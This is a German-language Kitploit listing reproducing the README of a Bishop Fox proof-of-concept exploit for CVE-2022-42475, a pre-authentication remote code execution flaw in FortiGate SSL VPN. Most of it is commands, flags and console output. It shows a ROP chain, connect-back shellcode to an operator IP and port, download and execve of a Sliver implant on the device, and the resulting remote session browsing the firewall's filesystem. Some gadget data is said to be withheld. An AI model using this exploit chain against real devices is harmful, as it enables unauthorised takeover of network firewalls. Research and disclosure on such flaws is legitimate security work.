Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42475-POC — Exploit für CVE-2022-42475, der auf FortiGate SSL VPN abzielt, mit validate-only mode, ROP chain execution und connect-back shellcode für Remote Code Execution und Binary Deployment. | Kitploit
Tools/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
SchwachstellenanalyseExploitationShellcodeWebsicherheitPenetrationstestsRed TeamingPayload-Entwicklung
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploit für CVE-2022-42475, der auf FortiGate SSL VPN abzielt, mit validate-only mode, ROP chain execution und connect-back shellcode für Remote Code Execution und Binary Deployment.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

CVE-2022-42475

Hintergrund

Dies ist der Exploit für den Blogbeitrag hier: https://bishopfox.com/blog/exploit-cve-2022-42475

Redigierte Version

Diese Version des Exploits wird ohne Ihre Bereitstellung der erforderlichen Speicheradressen für ROP-Gadgets usw. nicht funktionieren. Die Arbeit zur Ermittlung dieser Daten ist vertraulich und Eigentum von Bishop Fox, und ich werde sie (kann sie) nicht zusammen mit diesem Exploit veröffentlichen. Ich vertraue darauf, dass Sie das verstehen!

Betriebsarten

  • Nur validieren, kein Exploit. Stellt fest, ob angreifbar. Kein Payload, kein Shellcode.
  • Exploit, aber nur verifizieren. Führt harmlosen Connect-Back-„Ping“-Shellcode aus, um die Angreifbarkeit des Ziels zu bestätigen.
  • Exploit mit Connect-Back-Binary-Stager. Der Shellcode verbindet sich zurück zum Exploit, lädt eine verschlüsselte, vom Bediener bereitgestellte Binärdatei herunter (typischerweise https://github.com/BishopFox/Sliver), entschlüsselt die Binärdatei und ruft dann execve(binary_file) auf.

Hinweis: Derzeit funktioniert der „Nur validieren“-Modus über alle bekannten Versionen von FortiOS hinweg. Exploits funktionieren jedoch nur gegen FortiOS 6.0.4 auf 100D-Hardware. Ich arbeite nicht mehr bei BF und kann daher den erweiterten Exploit, der etwa 18k Ziele unterstützt, nicht veröffentlichen.

Anforderungen

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Nur validieren

Dies wird keinen Versuch unternehmen, den Fehler auszunutzen, sondern ihn stattdessen als Absturz auslösen (der entfernte SSL-VPN-Daemon startet automatisch und sofort neu). Der Absturz wird heuristisch erkannt und dem Bediener gemeldet.

Führen Sie es mit dem Validierungsflag -v aus:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, aber validieren (Funktion derzeit nur für FortiOS 6.0.4 auf 100D-Geräten verfügbar)

Dies wird den Fehler auslösen, eine ROP-Kette bereitstellen und zu Shellcode springen. Der Shellcode ist harmlos und funktioniert wie folgt:

  • Exploit verbindet sich mit Ziel und löst die Schwachstelle aus, um Shellcode auszuführen
  • Shellcode verbindet sich zurück zur IP:Port des Bedieners
  • Shellcode sendet ein einzelnes „Hello“-Byte an den Exploit: 0xbf
  • Exploit liefert eine kleine verschlüsselte Test-Payload an den Shellcode (AES-Schlüssel ist bei jedem Durchlauf zufällig)
  • Shellcode entschlüsselt die Payload und speichert sie auf dem FortiGate-Gerät unter /tmp/x
  • Shellcode sendet ein weiteres einzelnes 0xbf-Byte an den Exploit, wenn die Payload-Entschlüsselung erfolgreich war
  • Exploit liest das Byte und bestätigt die Codeausführung.

Flags:

root@kitploit:~
-t           Ziel-Host/IP
-p           Ziel-Port
-e           Exploit-Modus
-c           Nur Connect-Back-Modus
-H und -P    IP:Port des Bedieners (erforderlich)
-s           Softwareversion von FortiOS (erforderlich)
-m           Hardware-Modell, auf dem FortiOS läuft
-d           Debugging aktivieren

Ein Beispiel, bei dem wir sowohl die Softwareversion 6.0.4 als auch das Gerätemodell 100D auswählen:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Wenn Sie -m zur Auswahl eines Hardwaremodells weglassen, brute-forcet der Exploit alle Hardware-Ziele für die angegebene Softwareversion.

Globaler thermonuklearer Krieg

  • Bediener gibt den Speicherort einer Sliver-Implant-Binärdatei (Linux-basiert) an
  • Exploit verbindet sich mit Ziel und löst die Schwachstelle aus, um Shellcode auszuführen
  • Shellcode verbindet sich zurück zur IP:Port des Bedieners
  • Shellcode sendet ein einzelnes „Hello“-Byte an den Exploit: 0xbf
  • Exploit verschlüsselt die Sliver-Binärdatei und sendet sie an den Shellcode
  • Shellcode entschlüsselt die Binärdatei und speichert sie unter /tmp/x
  • Shellcode sendet ein „Erfolg“-Byte 0xbf an den Exploit
  • Exploit liest das Byte und bestätigt die Codeausführung
  • Shellcode ruft execve("/tmp/x") auf
  • ???
  • Profit!

Flags:

root@kitploit:~
-t           Ziel-Host/IP
-p           Ziel-Port
-e           Exploit-Modus
-f Dateiname  /Pfad/zur/Binärdatei/zum/execve/auf/Ziel
-H und -P    IP:Port des Bedieners für Connect-Back (erforderlich)
-s           Softwareversion von FortiOS (erforderlich)
-m           Hardware-Modell, auf dem FortiOS läuft
-d           Debugging aktivieren

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Und zurück in Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Beachten Sie, dass Sliver <err> zurückgibt, weil FortiOS irgendwie teilweise Linux ist und nicht immer so funktioniert, wie man es erwarten würde. Dies ist ein Problem mit FortiOS, nicht mit Sliver.

Weitere Versionen in Kürze

Ich arbeite nicht mehr bei Bishop Fox, daher müssen Sie für Updates diesbezüglich dem BF-GitHub folgen.

Tool herunterladen